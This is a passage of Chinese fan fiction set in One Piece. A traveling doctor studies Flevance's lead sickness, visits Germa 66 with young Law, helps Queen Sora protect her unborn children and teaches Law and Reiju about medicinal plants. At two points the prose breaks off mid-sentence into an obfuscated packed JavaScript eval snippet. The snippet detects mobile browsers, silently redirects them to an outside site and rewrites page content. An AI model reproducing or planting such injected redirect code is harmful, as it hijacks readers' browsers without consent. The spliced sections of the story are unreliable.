这也是让茵弗难得感到棘手的一点。重金属中毒他有治疗的经验,可是现在不仅仅是那么简单了。他听到的根源病痛还很微弱,现在的研究方向必须利用这一点,但也是劣势。遗传性质带来的异变太多,人数也太多,治疗手段和方法都必须灵活,他没办法一个个的听,一个个的治,而且... 啧、居然能为了赚钱把这种不能拖的病症拖成了遗传病,还大肆地任由居民暴露在其中。 安娜和威廉在壁炉边的泪水滚烫,身旁的□□听着他们吐露铂铅的历史发出嗤笑。 世界政府的保证、王族的谎言...天龙人。 ''小狐狸别看了,我们走,这些家伙就是这样的,他们眼里没有平民!'' 戴着墨镜的男人拉着香克斯和巴基,有些焦急地对他呼喊。 “...安娜女士不会在安全之前生孩子的。妈妈们都是这样。” 他拿过医书,换了个话题。 “我最开始学医也跟您差不多大年纪呢。” 罗有些意外:“哦...教会的大家都觉得奇怪,我不怎么跟他们玩...” 教会?好像是看到个教堂。好像很多家长都会送孩子去那里托儿,安娜女士每天去接他。 也许是信仰与医学的组合让他感到亲切,茵弗发出了一声笑。 “您学您的,以后带只青蛙去解剖他们就不会说您了。” “为什么?” “因为好玩,而且您不在乎的话,他们也慢慢就不在乎了。好,这里是这样的,人体...” - “...对毒素的处理主要就是在这几个器脏上,因为铂铅病的复杂性,我以前的治疗方法并不适用。” 茵弗递给身边的威廉一沓纸,示意对方顺着桌子传下去。 因为暂时还不能声张,所以特拉法尔加夫妇只是找了一些最亲近信任的同事一起来研究铂铅病,差不多会议室的桌子勉强能围成一圈。 “我曾经行医的手段较为粗暴,我的老师曾称之为''剔除'',虽然面对毒素我仍然会觉得这是最好的方式,但是确实之前试验的药物会损伤肾小管上皮细胞,长期可能会造成肾功能衰竭。” “所以我换了个思路,请大家过目拿到的可试验项目清单,如果有更多混合药物的思路也可以说出来,口服类注射类不限。” 纸张哗啦哗啦的翻动,茵弗喝了口茶,等待的期间也随便翻着自己的笔记,在''旅游清单''那一页顿住了。 布鲁尼尔、杰尔玛、亨姆。 茵弗离开了香波地,离开了鱼人岛,巴苔里拉,黎明岛,他也总会离开弗雷凡斯。 但是这里不一样,离开了铂铅,弗雷凡斯只是在阴谋与欺骗下逃过一劫,这座城市太白了,没有空间给一丝毫的色彩。 自己现在哄住弗雷凡斯的国王了,以后呢?白色城镇还是白色,就算治好了铂铅病,离开了【铂铅】这一祝福与诅咒的国家会怎么样? 失去了利益的贵族和世界政府,会如何审判弗雷凡斯的命运? 面对他的问题,整间屋子沉默了一瞬。 “茵弗医生...您能否...” “奇迹医生、拜托您...” 茵弗收起笑容,听着他们的诉求。 “我拒绝。我是医生,不是来替您们完成一切的圣人,您们的教堂不是我的神。” 罗坐在角落里的椅子上,偷偷地瞄着那个穿着白色卫衣的人,整间屋子就他最不像个医生。可他确实是一个很厉害的医生。给他讲书的时候总有一些奇怪的比喻,但是都很贴切易懂、总是因为神奇的医术上报纸、自己的父母也对他大肆夸赞、能发现他们都发现不了的病... 不过这还是他在这两周的相处里第一次看对方这么严肃。 明明,像是教堂里的白鸽一样软软的家伙,突然好有气势。 这就是【医生】吗? 罗猫一样的眼睛眯了眯,亮晶晶地看着那个个子高高的人拍了一下手,就拉去了整间屋子的呼吸。 “葛根素﹑槲皮素、姜黄素、大蒜素和褪黑素 能有效降低血液中的铂铅含量,修复细胞、器官组织的损伤。” “我会在三天后离开弗雷凡斯,去布鲁尼尔王国寻找是否有更合适的草药,并在那里继续我植物学的研究。” 在他提醒铂铅病的存在的时候,他与国王的交易其实就已经完成了,他已经''为了弗雷凡斯''出过了力气。而现在,他也解开了自己那时遥遥望着的,让他不适的白城的秘密。 “轮到您们了,女士先生们,我会遵循我与特拉法尔加·罗的约定,帮助您们解决铂铅病,至于之后的事情...” 罗在自己的名字被提到时坐直身体,因为惊讶而心脏怦怦作响,他伸出一只手抚摸上去,看到那只白鸽也做了同样的动作。 “您们洁白到让我无趣,让我好奇吧,弗雷凡斯。如果您们能做到,我就帮您们寻找一个答案。” 他放下手,就像许下什么誓言,传达了什么神谕。本来在他面前高高的一摞资料在起身时被摔在桌子中央,罗很熟悉,对方在写的时候自己就坐在旁边读书。 “铂铅病的''剔除''就是您们的时限,女士们先生们。我不着急。” 罗呆呆地看着,直到茵弗玛利对着自己的父母点点头,然后向他伸出了手。 微凉的手,没有妈妈的温暖。上面有很多自己没注意过的伤疤,摸起来硬硬的,不像爸爸的手。 不像医生的手。 他们提前离开了会议,自从特拉法尔加夫妇邀请茵弗玛利和巴/雷特在他们家小住,偶尔他们两个会一起散步,趁他父母不在去买个冰激凌什么的。 不过这还是罗第一次注意牵着自己的手,他下意识地摸了几下。 “怎么了?牵着不舒服吗?要不要我抱着您?” 罗摇摇头,要抱也太三岁小孩了吧。 “刚刚吓到您了吗?其实我平时没有这么爱生气。” 罗又摇头:“不、我觉得很好、修女应该会很喜欢你。” “?修女为什么会喜欢我?” 年幼的罗也不知道,就是觉得,刚刚那一幕,有点帅气。但是不是索拉的那种帅气,更像是教会会喜欢的那种,金色的,白色的,红色的。 “你要走了?” “舍不得我啊~” 好吧又不帅气了,果然是错觉吧。 “那你快走吧。” 茵弗笑了笑,深吸了一口气之后终于放松了肩膀。 “我还会回来的,刚刚也说了,我会遵守我们的约定。” 罗点了点头,自己的名字被像最重要的主角一样从这个叫他小特拉小特拉的家伙嘴里说出来,那些大人们错愕的眼神,让他耳朵有点烫烫的。 一定是错觉。 “你要去学植物?” “嗯,医生要学习的东西有很多,这个世界很大。” 我能一起去吗? 罗被自己突然冒出来的想法吓了一跳。明明是个刚认识的不久的陌生人...爸爸妈妈也不会同意的...不过如果茵弗玛利同意的话,跟他们说他们应该也会同意...不不不他不想跟着去! 噗噜噗噜噗噜... “喂您好?” “耗子,你现在还在弗雷凡斯?” “是的呀,巴/雷特先生,您不是把我们的新船开走了吗?我以为您还要三天才回来?” “我得到杰尔玛的消息了,它往弗雷凡斯去了。” “???为什么?” “说是听说你在那,跟王妃什么的有关,我没太仔细听。” “倒是仔细听啊先生。” “啧!少使唤老子!反正我回去之前你别乱跑!” “下次关心我的话再温柔一点吧。” 咔嚓。 不坦荡的家伙。 “麻烦,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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罗才不信他呢,这家伙之前跟自己偷吃冰激凌的时候可斤斤计较小心眼了。为了不让他在父母面前揭发自己,他可是牺牲了男子汉的尊严,狠狠地被揉了脸颊和心爱的帽子。 两双金色眼睛眯着,对视了一眼,又默契地移开视线。 总之,稀里糊涂地身边就多了个小子,面对□□嫌弃的询问,茵弗还能说什么?承认他挺喜欢这个让他想起来小时候的自己的家伙?那不就更输了吗? 所以他干巴巴地回了句“因为索拉。” 艾斯和基德也就算了,明明自己没带基拉也有不想照顾不好身边小孩的原因在,到底还是要照顾小孩。 有□□在,早知道就把科尔波山上的小屋一窝端走了,还不用清什么终点站。 等了两天,用望远镜模糊能看见海面上的一大团影子,然后分出来了一部分,靠近之后发现是一只巨大的蜗牛,侧边写着66。 居然真的是杰尔玛66... 茵弗按捺住有些激动的心,调整表情,一手拉住快要跳起来的罗。 “''奇迹游医''茵弗玛利?” “是我,您们有事?” “国王陛下有请。” 靠近的时候茵弗随手摸了两把。嗯,健康的大蜗牛。帅死了,有点想要。 所以他委婉地表达了诉求。 “陛下,虽然我和巴/雷特先生只是合作,我也确实很想要一只您的蜗牛,但是您刚见面就想挖我的墙角还是有些失礼了。” 伽治哼了一声,把视线从巴/雷特身上收回。他当然听说了这个前几年搅动大海的风云人物。对方异于常人的身体强度正是他所感兴趣的,没什么消息了一年,还以为死了,没想到跟着这小子。 不过,能让巴/雷特这种独来独往的强者跟在身边... 他在心里又重新衡量了一下茵弗玛利的地位。 “欢迎来到我的王国。” 伽治挥手招来佣人,安排巴/雷特和茵弗玛利身边的那个陌生小子去别的房间休息。 “不必了,陛下,如果您有什么话要说,不必避开他们。”他揽住罗的肩膀“这是我的学生,如果是医疗方面的问题的话,我希望可以让他在旁边观摩。” 伽治又哼了一声。 “伟大的杰尔玛的国家机密,破例让你知道已经很好了。” 国家机密?这种事情是能告诉他一个小小的医生的? 茵弗从善如流地点点头,对着罗小声交代了几句,在小不点有点不安的时候凑到耳边说:“别担心,我晚点就把机密告诉你,没准是变身呢~” 罗有点不好意思的把他的脸推开,跟着战战兢兢的侍者走了。 他给巴/雷特比了个没问题的手势,指指罗的背影,又在自己胳膊上比划。 ''欺。负。狠。了。我。就。把。您。的。胳。膊。打。折。'' 巴/雷特翻了个白眼,活动了一下拳头。 ''你。试。试?垃。圾。'' 切。 42.伽治是个混蛋? 本·贝克曼最近跟了个比他年轻十岁多的船长当了海贼。 海贼王死前的那番话将半个世界都倾倒大海——贝克曼扛着枪,面前的青年额角滴下和他头发一样鲜红的血,在战斗过后一地的尸体间笑着向他伸手—— 他为什么不能跃入这洪流之中,在吞噬他人的漩涡中腾飞呢? 香克斯年轻有朝气,十分有人格魅力。雷德福斯号只是单桅帆,不过船员也不多。短暂的相处就让这群人亲如兄弟。 战斗与财宝,酒与歌,无边际的海浪与风。 总之,目前感觉还不赖。 不过他们已经在北海徘徊一阵子了,问香克斯他也只是说再等等,也不知道在等什么。 贝克曼有点无聊地抖抖报纸,叼着烟吹海风。 香克斯坐在旁边的箱子上和耶索普喝酒,喝完了就又开始把瓶子对着光看来看去。 对、香克斯阳光开朗,十分具有人格魅力——就是有些奇怪的小习惯。 比如总是喜欢把酒瓶对着光扭来扭去的看;总是喜欢在战利品里翻找一些没什么用的小玩意;总是买各种毛毯;喝醉了还爱嘟囔什么杰里什么护肝。 大概就是小年轻的爱好吧。 贝克曼又抖了抖报纸,北海最近没发生事,所以他才问香克斯要不要离开北海。不过今天倒是有点消息—— “头儿,你每次都在酒瓶里找啥呢?” 耶索普随意擦去嘴角的酒渍,也学着香克斯的样子把瓶子举到阳光底下看。 “金色...”香克斯嘟囔了一句,脸颊因为酒精泛起红晕。 “什么金色?瓶子不是金子,你喝多了吧头儿。” 香克斯晃晃脑袋,放下手中的瓶子:“杰里的头发是金色的,我想找找他当时到底是从哪种瓶子上弄来的。” 耶索普怼怼他,又递过来一瓶酒:“什么东西?杰里是谁啊总听你嘀咕?” 香克斯眼睛一下就亮了,但不是因为酒,他跑回船舱又跑出来,手里握着什么,揽过耶索普就给他看。 贝克曼好奇地挑挑眉毛。他这个视角只能看到香克斯手里有一小片玻璃,混混沌沌的脏颜色。不过耶索普很惊讶的表情,也许是看到什么''金色''了? “看到了吧耶索普!杰里!好朋友!哥哥!他可厉害了。” 耶索普:“还挺神奇的,这是他给你的?他也是海贼吗?” 香克斯很宝贝地把那片玻璃放到口袋里,拿过之前耶索普递给他的酒打开喝了一口,摇了摇头。 “茵弗做医生的,他不当海贼,当然不上我的船。” “茵弗又是谁?” “茵弗就是杰里,杰里就是茵弗,他现在叫茵弗。” 贝克曼听到这个特殊的名字,扫了一眼手里的报纸。 “茵弗玛利?” 香克斯开心地凑过来:“对!你知道他啊贝克!” 耶索普:“等等等等,头儿的哥哥是茵弗玛利?那个''带来奇迹的游医''?在我家乡那边动作不小的那个?” 香克斯脑袋点得草帽都要飞了:“对!!你也知道他啊耶索普,他厉害吧!” 贝克曼吸了一口烟,把手里的报纸转了个面给他看:“你哥哥可能有麻烦了,喏,今早的报纸。” 看到香克斯捏着报纸瞬间低沉的脸色,耶索普咽了口口水,就是这种表情会让他突然意识到平时嘻嘻哈哈的香克斯是整艘船的老大。 他小心凑过去看了一眼:“白色城镇...杰尔玛?战争王国带走了奇迹游医?” 贝克曼不讨厌香克斯的这种神情,严肃的,认真的,眼神里带着火的。就是这簇火焰让他上了这艘船,让他的血液也久违地燃烧。不过他们海贼团还刚起步,不论香克斯想做什么还是得冷静一点。 “也不一定就是报纸上说得那样,报纸就是真真假假的。他不是游医吗?没准杰尔玛要求医呢?” 香克斯吐出一口气:“嗯,茵弗很强的。但是我在北海就是要等他....找找有没有杰尔马离开弗雷凡斯之后航向的消息吧。” 贝克曼了然。 他掐灭烟头,对着自己的船长点了点头。 - 茵弗倒是没料到报纸上把他说得跟明天杰尔玛就要撕票了一样,毕竟自己走的时候也没有挣扎?还在稀罕大蜗牛呢。 不过就算知道了他可能也没料到香克斯在北海,还带着自己的海贼团找他,所以也不会报平安。他就算看到报纸可能第一时间报平安的是特拉法尔加夫妇,毕竟他们的儿子跟着自己。 他跟着伽治左拐右拐,环顾四周,试图找出王国内部和连环画里相似的地方,只有在对方提到基因改造时才仔细听一耳朵的念叨。 自己一开始对这个国家感兴趣就是读到它科技力量雄厚,善于对人的改造研究。这种细致的对人体的研究和他用能力去听不一样,他本来是想来学习的。 不过、现实果然还是跟自己想象的有一些出入。 战争专家,恶之军队,科学战斗部队。 他们所有的一切都是为了战争服务。 如何把人快速变成士兵,变成武器——变成巴/雷特。跟战争无休止国相比,只不过是将科技混在其中而已。 真是浪费。 茵弗盯着那一罐一罐培养皿里闭着眼睛沉睡的,一模一样的人。有些好奇他们的''声音''。 也会一模一样吗?一模一样的安静还是喧嚣? “是的,尊敬的陛下,我为杰尔玛的成就而感到惊叹。那么您叫我来是有何事呢?” 伽治有些得意地翘翘胡子——看起来手感不是很好的样子。 “我的妻子擅自主张,企图通过药物阻止我对我们的孩子最完美的改造...” 药物、母亲、孩子。 茵弗的眼角抽了一下。 “距离分娩日期还有一段时间,我要你确保她服用的药物不会产生太大影响。情报上说你对药理的独特理解在全世界都是佼佼者。” 哈。熟悉的反胃感。还好他没吃东西。 “您对您的孩子做了什么改造?您也许知道,我也对通过医药和药膳对人体''改造''有些兴趣。当然,比不上杰尔玛的种种杰作。” 伽治得意地大笑,通过医学改造人体速度太慢了!也做不到像杰尔玛能做到的一切!这种天真的想法和贝加庞克那种满脑子都是为了人类与和平的家伙还真是像。 他招来蕾玖,示意她在演武场上演示,同时给身旁的游医介绍着自己是如何通过对''血统因子''的改造基因而使她获得了超人般的身体。 茵弗看着,一个也就三岁左右的粉发小女孩面无表情地被袭来的士兵刺中身体,却没有受伤,反而徒手折断了对方的兵器。 茵弗听着,伽治吵人耳朵的声音不断夸耀着她的外骨骼皮肤多么坚固、受伤后恢复力有多么强、力气是如何超过成年的大人。 他抹去她的感情,也将抹去她未出世的弟弟们的感情,让他们变成真正强大的战争兵器。 蕾玖还是太小了,在击败自己的对手时出现失误,自己也从台子上跌了下去,还没爬起来就听到父亲的怒吼。 “蕾玖!在客人面前居然让我如此失望!” 蕾玖有些恐惧,努力抑制自己的颤抖:“抱歉父亲大人!我——” 一阵掌声打断了她的话。 茵弗收回手搭在自己的佩刀上,没有看蕾玖,而是对着伽治说:“令人惊叹的杰作,伟大的陛下,您看到您女儿最后的那一击了吗?我还是第一次知道如此的潜力和力量的存在。” 他指了指演武场的平台:“也许您可以给她换更适合跳跃的鞋子,陛下,或者更改平台的材质,真正的战场不会如此平滑。我也是一名实验家,如果因为这些细节而让您对结果的评估出现误差岂不是可惜?” 蕾玖抿了抿唇,她当然知道自己失误了,而不是因为场地不合适打滑,这个陌生的客人在帮自己说话,免去责罚。 她有些感激地偷偷抬头瞄了一眼,又在伽治看过来时乖巧地低头。 伽治听到茵弗的话也移开了注意力,没有管还跪在地上的蕾玖,带着他离开了演武场。 “你说的也有道理,伟大的杰尔玛偶尔也有考虑不周的地方,也许我该叫来设计师们让他们好好反省一下。” “哦,那些事情都不着急,我同意帮助您的孩子们顺利地成长,发挥他们的潜能,伟大的陛下。” 抹去感情?刚才那小姑娘害怕的反应可不像是完全成功了。 也不知道是好事还是坏事。 血统因子...遗传病... 茵弗久违地摸出一枚缺了角的金币开始抛,正正反反的决定一遍遍在他眼前滑过。 正面? “作为回报,我要一只——” 不,是反面。 “——我要您手下的科学家对我的研究进行支持。” 也行吧。 - 应国王的命令,除了王国最机密的研究档案外,研究团队需尽最大努力满足面前陌生的年轻医生。 对方要走了大量有关基因改造的实验资料——当然是对王储们相关的——还有一些基本的人体研究报告,还有...''能找到的尺寸最小的一套医疗用品''。 他参观了科研人员工作的地方,医生热情地与每一位科学家握手,并颇具耐心地听一些他们的讲解,时不时提出一些不乏见解的建议或问题。 除了偶尔见到的王妃外,他们难得见到如此柔和的人。 是个很有天赋的人。 “您很有天赋,小特拉先生。” 茵弗摸了摸从椅子上跳下来的小孩儿,替他把还是有些大的听诊器摘下来。 “说对了,肺听起来不太对是不是?” 罗不好意思地拍开他的手,这还是他第一次真的在患者身上练习,茵弗玛利还送了他一套小号的医疗用具,虽然还是太大了,但是他很喜欢。 “我不知道是因为什么...” “您以后会知道的,但是现在我教给您,您刚刚听到的叫异常呼吸音,异常种类有很多,呼吸音粗、呼吸音弱、呼吸音减弱、干湿啰音...” “我、我没带笔记本!你别说了!” 茵弗笑着又摸了一把他软乎乎的帽子:“那我回去再给您讲。” 小猫摸两把就不给摸了,攥着自己的听诊器跑到另一边的椅子上坐着,等着观摩学习。 很可惜,茵弗玛利的能力怎么运作的没法给他解释,只能告诉他什么症状是什么样子,可以怎么治。 虽然罗跑出来是想看杰尔玛66的,不过既然说好了要带他学习,那他会教的。 茵弗感激地对着靠坐在床上的金发女人鞠了半躬:“谢谢您的配合,索拉王妃,他刚刚开始学习。” 索拉温柔地笑着,告诉他自己很乐意效劳,以后这位小小的医生学徒也可以来看她,在她身上练习。 她的温柔与强大更让茵弗想起来露玖了。尤其是在知道了她使用了什么药物来试图阻止伽治剥夺她孩子们的感情之后——基本就是毒药。 ''做了一个妈妈该做的事''。 “关于您的身体和孩子...” 茵弗抬起手掌,向这位突然紧绷的母亲传递无害的信号。 “别担心,王妃殿下,我与国王的交易是''帮助他的孩子''而不是''帮助他''。” 索拉长舒一口气,虽然对方跟自己的学生的相处让她愿意相信这位青年是一个善良的人,但是关于她的孩子,她必须小心。 轻微的敲门声打断了他们的交谈,一个粉色的小身影探了进来:“母亲...啊!抱歉您有客人...” 索拉:“没关系,蕾玖。先进来吧,谢谢你来看我。” 茵弗勾勾嘴角,蕾玖依恋地拥抱母亲的样子让他更确信了,至少她没有被剥夺感情。 索拉牵着坐上床边的女儿,示意屋子里的两位陌生人。 “这位是茵弗玛利医生,还有他的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894079|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生特拉法尔加·罗。” 茵弗礼貌低头:“又见面了,小殿下。” 面对母亲的疑惑,蕾玖解释了今天在演武场上发生的事情,有点后怕地吁一口气,然后很有礼貌地感谢茵弗。 索拉:“我作为母亲,也谢谢你照看蕾玖,伽治他...” 茵弗:“是个混蛋?” 索拉短暂发愣后噗嗤一声笑了出来,摸了摸迷茫眨眼睛的女儿的粉发。 茵弗偏头看罗也因为他的话坐在那偷偷的笑,没忍住也露出牙齿,上手戳了一下他的脑袋。 坏小子。 因为蕾玖的时间不多,所以茵弗和罗坐到了屋子另一侧的沙发上等着,给她们母女留下相处空间。茵弗分着注意力观察她们,有一下没一下地和罗聊天。 “所以你没看到邪恶的杰尔玛66军团?” “邪恶军团看到了,不过没有变身。” “啊...” “不过,如果您认为人体改造是''变身''的话,那到确实有,就是那种通过科技把人的身体变成钢铁什么的。” 罗撇撇嘴:“没意思...一点都不帅。” 茵弗:“是吧?大蜗牛最帅了,别的没什么意思。” “巴/雷特先生欺负您没有?” “没有,他就不理我,挺无聊的。” “看来您出于''藤壶''阶段。” “那是什么?” “就是经常会依附在礁石或者船底的一种生物...” “你处于什么阶段?” “耗子?老鼠?我卡在这儿好几年了。” 反正从藤壶到老鼠,他的体感就是从被无视变到被揍吧。 不过...剥夺感情来创造强大吗? 战争...荣耀... 也许他该让巴/雷特离伽治远一点?不过确实某种意义上,这也可以是他想要的''处方''? 噗噜噗噜噗噜... “干嘛?” “巴/雷特先生,我大概会在杰尔玛呆一到两周,然后去布鲁尼尔呆一阵子,再返回杰尔玛...之后回白城。” “所以?” “所以您觉得无聊可以先离开,之前在弗雷凡斯您不是也觉得没意思吗?十天后来杰尔玛接我就行,找人要个指针,要艘船。” “啧,我说了你少使唤我。” “就是想让您离这儿的国王远点,他做人体实验的,没准想研究您,而且他脑子里被战争泡透了,您们可以聊聊,不过我担心您ptsd。” 咔嚓。 脾气真臭。 他耸耸肩,正好看到蕾玖和母亲告别。坐回索拉的身旁,给咳嗽的王妃递过一杯水。 “忍了很久吧,不想在女儿面前咳嗽?” 茵弗用见闻色扫了一下,没有告诉索拉蕾玖还在门口。 索拉摇摇头,脸色苍白如纸,一只手抚在隆起的小腹上,一只手接过水杯小心地喝着。 “蕾玖是个好孩子,她已经很辛苦了...” 不想让女儿担心,担心女儿,担心自己未出世的孩子们。门外和门内的坚强之人一同流泪。 “恕我失礼,她的确是个懂事的孩子,但是正因为如此,我才认为您最好不要对她说''我并不痛苦''。” 因为她明白,她知道,所以她也会对妈妈说''我并不痛苦'',但她也在门外流泪。 “这对谁都不健康,殿下,请把它当做一个医生的建议吧。” 茵弗收回放在对方手腕上的手,示意身旁的罗把手边的夹板递过来,低头写下处方。 “在我来见您之前,我研究了您用了什么药,包括您怀孕期间御医的记录,我给了伽治陛下两个选择。” 他伸出一根指头:保证毒药不会害死索拉,但是她生下的孩子不可避免地会存在一些''缺陷'',比如正常的情感;还是保证毒药的作用被逆转,但是索拉会死亡。 “您想知道他选了哪个吗?” 看她的神色,也许她不需要他的回答。 “但是我说了,我的交易不是帮助他,甚至不是帮助您,而是您们的孩子。所以,我会给您第三个选项。” 他立起第三根手指。 “我会让您的孩子们''活''下来。他们可能仍然基因被扭转,但是我不会让他们永远失去感情,毕竟那也是一种''病''。” 在索拉露出感激的神色时,他补充道: “但是他们得脱离伽治陛下,以任何方式。因此,我需要您也活下来,我想您明白我的意思。” 茵弗将手里的夹板放到震惊的王妃手中,其上写满了什么时候吃药,吃什么药,吃什么饭,简单的拉伸运动方法...还有... “如果您同意,请按上面写的内容去做。我会在布鲁尼尔将您们的需要挂念在心上。” 索拉视线扫过手里的处方上的最后一行。 字不是很好看,但是她看的明白。 ''允许自己去愤怒、'' 她点了点头。 茵弗伸了个懒腰,偏头看到罗眼神亮晶晶地盯着自己。 “哦!我回去会给您讲我开的药都有什么用的。不好意思忘记了,我没给人做过老师。” 罗摇摇头,除了那些看不懂的药,他看到他写什么了。 “修女会喜欢你的。” ?又来。 “好吧,谢谢您,但我其实无所谓她的喜欢。” 他指指索拉柜子上一红色瓶子的精油,他已经琢磨它好久了,总觉得眼熟。 “对了,殿下,那是什么?” “哦!是鱼人岛出产的精油,是王族送给各加盟国的礼物,可以在洗澡时使用,这一瓶对身体虚弱的女性...” 好的,他知道了,没人比他更知道它的作用了。 干的不错嘛,乙姬,还是很聪明。 不过阿龙他们都不会换一换包装的吗?自己当时就随便找了个差不多的瓶子。好的包装可以要好几倍的价钱呢。 43.北海的重逢 伽治也给了巴/雷特第三个选择。 在海上暴走、跟着小耗子、还是...加入杰尔玛。 他是主动去找伽治的,带着面具头盔的男人欣喜地向巴/雷特发出邀约,张开双手,许诺他唾手可得的荣耀,地位,力量。他不用再去争抢一枚小小的勋章,他的强大会让他在杰尔玛得到一切。 茵弗玛利说的没错,这是一个为战争服务的国家,包括他们的国王。战场是他的故乡,某种意义上,这确实让他感到亲切。 但是是茵弗玛利告诉他,他可以离开,或者找伽治''聊天'',否则他自己是不会搭理这个国王的。他不会不知道如果巴/雷特真的和伽治交流之后,也许会加入杰尔玛。 他为什么告诉他? 他不在乎巴/雷特会背叛? 从王妃那回来的老鼠埋在一堆实验报告中头也没抬,只是说“不存在背叛,是我主动告知您的。” 他有私心,有偏向,但是如果巴/雷特真的加入杰尔玛,他可能还是会像他第一次背离他的那天一样笑着说一句“武运昌隆”。 小耗子长高了,抬手就能戳到巴/雷特亮闪闪的勋章。 “您不是早就自由了吗?” 巴/雷特不这么觉得。 所以他们打了一架,切磋,训练,什么都好。茵弗玛利打不过自己,可能一辈子都打不过,但是他不会拒绝巴/雷特,躲避也好,直击也罢,最后他总会一瘸一拐地说烂话。 什么“下一次”,“早晚有一天”。 这次的观众不是街上的居民,是伽治,还有他身边的一群科学家。 他们打量巴/雷特,还打量茵弗玛利,双眼发光地在手中的夹板上记录。 巴/雷特看到伽治对他的耗子眼神转变为贪婪,和他看自己的眼神一样。 所以他走了,要了一艘船,几个永久指针。十天后,他回杰尔玛接茵弗玛利。 “我以为那家伙会走呢,你们那天打得很凶。” 茵弗研究着地里生长的植物,一只手拿着图鉴比对,一只手揉眼睛。 “有吗?还好吧?不过怎么说呢,他拒绝伽治陛下是我意料之中也是意料之外吧。” 罗随便揪着草,手里也有几页纸,那是茵玛利弗交给他要他今天学的植物,看看能不能辨别找到,然后根据自己的想法在晚上告诉他是否觉得可以入药。 “为什么?” 茵弗:“因为伽治陛下不是战争的发动者,他是战争的奴隶。看来巴/雷特先生更想要自由。” 蕾玖缩在另一旁,小心地打量四周,手里也有几页纸,听到他的话哆嗦了一下。 罗不知道为什么茵弗玛利要带上她,倒不是说他期待就他们两个人一起什么的,那太三岁小孩了,但是茵弗说他比蕾玖大,可以先练习一下怎么做哥哥。 所以他戳戳脚边黑色的鞋子:“喂,别在人家女儿面前这么说啊。” 茵弗手上有点脏,就没有摸蕾玖的脑袋,只是用另一只脚也贴贴蕾玖的小鞋子:“抱歉,小殿下。” 布鲁尼尔空气很清新,这是大量的植被带来的。蕾玖从来没有呼吸过这么新鲜的空气,她摇摇头,又开始看手里的纸。 她不是来学医的,因为父亲想要把她改造成更抗毒的体质,以后和各种毒素接触,茵弗玛利在听说后就自告奋勇地表示可以在他去布鲁尼尔为王妃寻药的时候带上她。 一个植物丰富的国家有很多天然毒素,不论是来自于植物还是爬虫。他表示可以顺便帮国王检测一下蕾玖目前在这种环境中的抗性,找几种毒药配个测试用毒给她,回去给伽治报告。 伽治派了几个士兵随行,不过都被□□看着不让他们跟着。茵弗玛利给了罗任务之后,没有让蕾玖抓几只毒蛇蜘蛛什么的咬咬她,也没有让她吃毒蘑菇,只是也给了她几张画了很漂亮的花的纸,让她也找找看。 她不太明白学习植物跟测验她的抗毒性有什么关系。 “医毒不分家嘛~也许您研究研究毒药就也会对学医感兴趣了呢?别担心,就当散心了。” 蕾玖从来没呼吸过这么新鲜的空气。 来自北海的植物学的书茵弗读过很多,但是亲眼见到果然还是会给人一种不一样的感觉。这是他的一种奇怪的乐趣吧。总之他心情不错,有见闻色也不用太担心四周环境。 ““我找到了!”” “哦您们俩都不错嘛,我看看。” 两个小孩一左一右地拿着手里带着花的植物,突然发现他们找的是一样的。 “没错!恭喜您们找到第一个!不过三渠花的采摘要注意根茎的保护,小特拉先生读仔细一点呀。” “我、你的字太丑了!我看不清!” “好好好我的错,可是我又不能撕书给您们。” 茵弗教他们怎么用带来的密封袋保存草药,然后在他们身上一人贴了个小星星。 “喏,奖励。” 罗:“你太幼稚啦...” 蕾玖眼睛亮亮的,不停地低头看自己身上的贴纸,有点担心它掉下去。 罗:“...粘不住掉下去怎么办?” 茵弗笑了一声:“那我就给您们补上,我买了好多呢。” 他示意了一下二人手上的纸,罗那张在叶子和根茎上有很多标注,蕾玖的则是在花上有彩笔标了不少注释。 “发现了吧?您们两个都只学了一半哦,快快拿着您们的三渠花交流探讨一下,猜猜到底能不能入药呢?如果能,是花的部分还是叶子,或者是根茎?” 两个人虽然见过几次面,茵弗玛利还说罗可以练习当哥哥,但是还是很生疏,没什么交流。罗性格就是偏独一点的类型,蕾玖则是小小年纪就有王储的压力,总之听到他的话都不太好意思。 “答对了晚上多加一个贴纸。” 罗:“三渠花的叶子是梳齿形状但是并不尖锐...” 蕾玖:“三渠花的颜色独特的地方在于...” 茵弗哼笑一声。 小鬼头,这不是轻轻松松?不枉他绞尽脑汁想怎么带两个孩子出来玩。 他犹豫了一下,给自己也贴了个彩虹的贴纸。 唔...下一个贴恐龙吧,那种在彩虹下嬉戏的感觉?有太阳形状的吗? 兜兜转转一天,罗和蕾玖已经亲近了不少,毕竟每次他们找到一种植物就必须要讨论一下。森林里对小孩子来说趣味又多,松鼠飞鸟都很有趣,聊着聊着就自然了。 晚饭没有去城里吃,而是回了杰尔玛的大蜗牛上,茵弗做了晚饭,还用了他们今天找的几种植物。 三渠花的叶子确可以入药,不过做饭的话,煮清淡口味的汤的时候加入碾碎的根茎汁液会有一种清香,对清理饭后口气很好。 罗:“原来还可以这样吗?我猜错了...” 茵弗拨弄一下他不甘心的小脑袋,在他毛茸茸的帽子上贴了个小花的贴纸。 “我又没说答错了没有贴纸,只是答对了有而已。而且也不是一点没对不是吗?” 蕾玖有点不好意思,她也猜错了,不过茵弗玛利还是给她贴了个小鱼的贴纸。 “三渠花的的叶子有极高的疏通血栓的功效——就是清除血管里堵住的东西——并且一株只有三小片,十分难得。对于动物来说它的根茎很好吃,所以它长出了模仿毒蘑菇一样的花瓣来保护自己。不论是颜色还是圆圆的形状。”他将植物学图鉴打开到那一页,又找出自己的研究笔记,将两本都完整地摊开到二人面前。 “自己研究过后再仔细地看看吧?有不明白的,或者不认识的字再问我。” 可恶,带小孩真累,米森当年也是这么辛苦吧,毕竟自己那么难搞,露玖他们也不知道怎么样了。 